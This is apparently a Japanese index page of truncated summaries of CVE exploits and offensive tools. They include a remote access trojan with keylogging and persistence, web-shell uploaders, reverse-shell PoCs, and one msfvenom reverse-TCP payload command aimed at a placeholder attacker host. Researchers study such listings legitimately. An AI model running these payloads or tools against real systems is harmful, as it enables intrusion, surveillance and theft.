CVE-2026-26830

CVE-2026-26830: pdf-image における OS コマンドインジェクション 概要 pdf-image のバージョン 2.0.0 までには、pdfFilePath 引数を介した OS コマンドインジェクションの脆弱性があります。このパッケージは util.format でシェルコマンド文字列を構築し、childprocess.exec で実行します。アプリケーションが攻撃者によって制御されたファイルパスを PDFImage に渡すと、そのパスに含まれるシェルのメタ文字によって任意のコマンドが実行される可能性があります。 影響を受ける製品...

CVE-2025-69604

CVE-2025-69604 説明 この脆弱性は、CVE-2025-61229で説明されているものと類似しています。攻撃者はタスクテンプレートを編集して、SuperDuperのバックアップタスクに任意のパッケージをインストールさせることができます。その後、パッケージはルートユーザーとして、最高レベルのプライバシーアクセス（フルディスクアクセス）でシェルスクリプトを実行できます。 参考文献 SuperDuper Security Update v3.12 CVE-2025-69604 CVSS 3.1 スコア: NVD スコアは保留中です。 緩和策...

CVE-2025-56399

CVE-2025-56399 大量エクスプロイト CVE-2025-56399 – laravel-file-manager v3.3.1 におけるリモートコード実行。Laravel File Manager の設定ミスを悪用し、認証不要のファイルアップロードを介して PHP シェルをアップロード・検証します。 インストール リポジトリをダウンロード root@kitploit: git clone https://github.com/im-hanzou/CVE-2025-56399 リポジトリフォルダに移動 root@kitploit: cd CVE-2025-56399...

PIRATE

PIRATE Python リモートアクセスツール 使用方法 1- payloader.py を実行してクライアントスクリプトを生成します 2- pirate.py を実行してサーバーを管理し、接続を受け付けます 特徴 リモートシェルを開く スクリーンショットを撮影 ウェブカメラで写真を撮影 キーロガーを実行 Windows での永続化 ファイルの送受信 Windows メッセージボックスを開く 使用例 ペイロードファイルを生成します pirate.py を起動して接続を待ち受けます 接続を待ちましょう! 接続が確立されたら、被害者のマシン上で任意のコマンドを実行できます...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 ビルド7 エクスプロイト https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 を参考に作成 ステップ1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

jboss-autopwn

⚠️ 注記: このツールは現在アクティブにメンテナンスされていません。 JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルを展開します。展開後、このスクリプトはアップロード機能とコマンド実行機能を使用して、インタラクティブなセッションを提供します。 機能は以下のとおりです: マルチプラットフォーム対応 - Windows、Linux、Macのターゲットでテスト済み...

Fenrir

Fenrir NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.com/ 開発: Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Fenrir AGPL のもとで公開されています。詳細は LICENSE を参照してください。 Description Fenrir は、RDP 仮想チャネルを介してネットワークトラフィックをトンネリングできることを実証するために作成されましたが、まだ初期段階にあります。この PoC...

OneLogicalMyth_Shell

OneLogicalMythShell このHTAシェルは、ブレイクアウトアセスメントを支援するために作成されました。1年以上前に最初に作成したもので、他の人にも役立つかもしれないと思い、公開することにしました。プルリクエストはいつでも歓迎します。 機能 ファイルエクスプローラー ドライブの一覧表示 - ホスト上のすべてのローカルドライブを一覧表示します。ドライブ文字をクリックすると、フォルダーやファイルのナビゲーションを開始できます。 フォルダーの一覧表示 - 上部の入力ボックスにフォルダーパスを入力し、このボタンをクリックすると、その場所からナビゲーションを開始します。...

shell-history-leaks

バッジ ライセンス MIT インストール 1. Python3 と pip をインストールします 手順はこちら これが分からない場合は、このツールを使うべきではないでしょう pip でインストール root@kitploit: pip install shell-history-leaks 確認するには以下のコマンドを実行します shell-history-leaks -h 設定 2. 脆弱性検出の即時通知を受け取るために、Telegram API と統合しました。 Telegram 通知 root@kitploit: shell-history-leaks --chatid...

CVE-Vulnerability-Research-Exploit-Analysis

CVE脆弱性研究・エクスプロイト解析 制御されたサンドボックス環境で実際のCVEエクスプロイトを調査・実行する、構造化されたペネトレーションテストプロジェクト。対象は、VirtualBoxで構築されたマルチマシン仮想ネットワーク上で動作するWindows 95およびWindows XP SP3。 実行されたエクスプロイト: CVE-2000-0168 — 悪意のあるデバイスパス名を武器化したApache Webサーバー経由で送り込み、Windows 95に対してDoS攻撃を実行。即座にBSoDまたはシステムフリーズを引き起こす ARPスプーフィング & MITM資格情報傍受 — Kali...

CVE-2025-55182-poc

CVE-2025-55182-poc CVE-2025-55182 の概念実証（PoC）エクスプロイトです。Next.js Server Actions の認証不要のリモートコード実行（RCE）脆弱性を標的としています。 このエクスプロイトは、React Server Components（RSC）のマルチパートペイロードの逆シリアル化中にプロトタイプ汚染を悪用し、非同期・非ブロッキングの実行フローを使用して Node.js プロセスに悪意のあるコマンドを注入します。 特徴 非同期実行 : ブロッキングする execSync API の代わりに childprocess.exec...

CVE-2021-3156

CVE-2021-3156 CVE-2021-3156 の root シェル PoC（ブルートフォースなし） 教育目的などで。 Ubuntu 20.04 上の sudo 1.8.31 に対してテスト済み すべての研究クレジット: Qualys Research Team 詳細は彼らのブログを参照してください。 あなたの sudo のバージョンが脆弱かどうかは $ sudoedit -s Y で確認できます。 パスワードを求められた場合は脆弱である可能性が高く、使用方法の情報が表示された場合は脆弱ではありません。 テスト目的で Ubuntu 20.04...

CVE-2025-8110

Gogs RCEエクスプロイト CVE-2025-8110 CVE-2025-8110の概念実証 - シンボリックリンクバイパスとsshCommandインジェクションによるGogsでのリモートコード実行。 説明 このエクスプロイトは、Gogs APIのシンボリックリンクバイパスを悪用して.git/configを上書きし、リバースシェルを実行する悪意のあるsshCommandを注入します。 必要条件 Python 3.12+ Gitがインストールされていること 有効なGogs認証情報 Gogs APIトークン インストール root@kitploit: git clone...

-Pluck-CMS-RCE-CVE-2023-50564

exploit.py 🐍💥 ⚠️ 法的/倫理的注意: このスクリプトは許可された環境（CTF、ラボ、許可を得たペネトレーションテスト）のみで使用してください。許可なくシステムに対して使用しないでください。❌ 🧾 このスクリプトの機能 exploitgreenhorn.pyは、Webパネルにおける典型的なエクスプロイトチェーンを自動化します: ✅ パネルにログイン 有効なパスワードが必要 ✅ メモリ上でZIPを作成 ローカルファイルを書き込まない 📦 ✅ その中にリバースシェル rev.php を配置 🔁🐚 ✅ そのZIPを「モジュール」としてパネルにアップロード 🧩⬆️ ✅...

CVE-Exploit-Research-Development

🔐 SSH Exploit Tool（教育目的のみ） 📌 説明 このツールは以下の脆弱性の悪用を実演します： CVE-2008-0166 CVE-2008-1657 脆弱なSSHサービスに接続し、以下を提供します： 持続的なインタラクティブシェル コマンド実行のログ記録 自動PDF＆DOCXレポート生成 ⚙️ 特徴 持続的なシェル（cd、ls、pwd など） 実際のコマンド出力をキャプチャ プロフェッショナルなレポートを生成 整理された出力ディレクトリ 📦 インストール root@kitploit: git clone...

CyberhawksLab-telnetCVE

CyberHawks ラボデモ発見レポート クレジット: @SafeBreach-Labs CVE: CVE-2026-24061 ラボ: Cyberhawks Lab ターゲット: 10.1.1.1 demo.cyberhawks.lab 発見ID: WU-08 日付: 2026-09-08 深刻度: Critical ステータス: 確認済み / 悪用済み エグゼクティブサマリー Cyberhawks ラボ環境の評価中に、認証不要のリモートコード実行（RCE）の脆弱性が特定され、ターゲットホスト（10.1.1.1）で悪用に成功しました。露出した Telnet...

CVE-2026-30225-OliveTin-RCE

OliveTin — 未認証アクション実行 → RCE（+ CVE-2026-30225） OliveTin のインスタンスが同梱のゲストデフォルト設定で実行されている場合の、権限昇格／リモートコード実行（RCE）に対するPoC。root として実行されている OliveTin 3000.10.0 （HTB: Enigma ）で検証済みであり、未認証の root シェルを取得できます。 ⚠️ 許可されたテストのみ。...

CVE-2026-62735

CVE-2026-62735 情報 この脆弱性は元々 Siyeon Wi によって発見されました。私は教育およびケーススタディの目的で、この脆弱性を独立に再現しました。 この脆弱性は Pwn2Own Berlin 2026 でも実証されました。参考: TrendAI Zero Day Initiative ステータス TrendAI Zero Day Initiative ブログ Microsoft 更新プログラムの詳細: CVE-2026-62735 PoC は 整数オーバーフロー 脆弱性によるクラッシュを実証しています。この脆弱性により、ヒープオーバーフロー - SYSTEM シェル...

ip-camera-research

IPカメラ調査 - Fullhan FH8626V100 AJL30PG0803 Fullhan FH8626V100 SoC（モデルAJL30PG0803）を搭載した民生用IPカメラに関するセキュリティ調査。未認証のAPIアクセス、平文資格情報の開示、OSコマンドインジェクションによる完全な未認証デバイス乗っ取りを対象とした6件のCVEが割り当てられています。 完全なレポート: Breaking Into My Own IP Camera デバイス概要 フィールド| 値 ---|--- SoC / プラットフォーム| FH8626V100 Fullhan...

CVE-2019-10068-PoC

CVE-2019-10068 Kentico CMS用PoC CVE-2019-10068の概念実証エクスプロイトです。Kentico CMSのDeserialization RCEを利用してWebシェルをアップロードします。 法的免責事項: この概念実証コードは、教育目的および許可されたセキュリティ研究目的のみで提供されます。作者は、このコードの誤用またはそれによって生じた損害について一切の責任を負いません。所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用し、適用されるすべての法律を遵守してください。 使用方法 1. 9行目...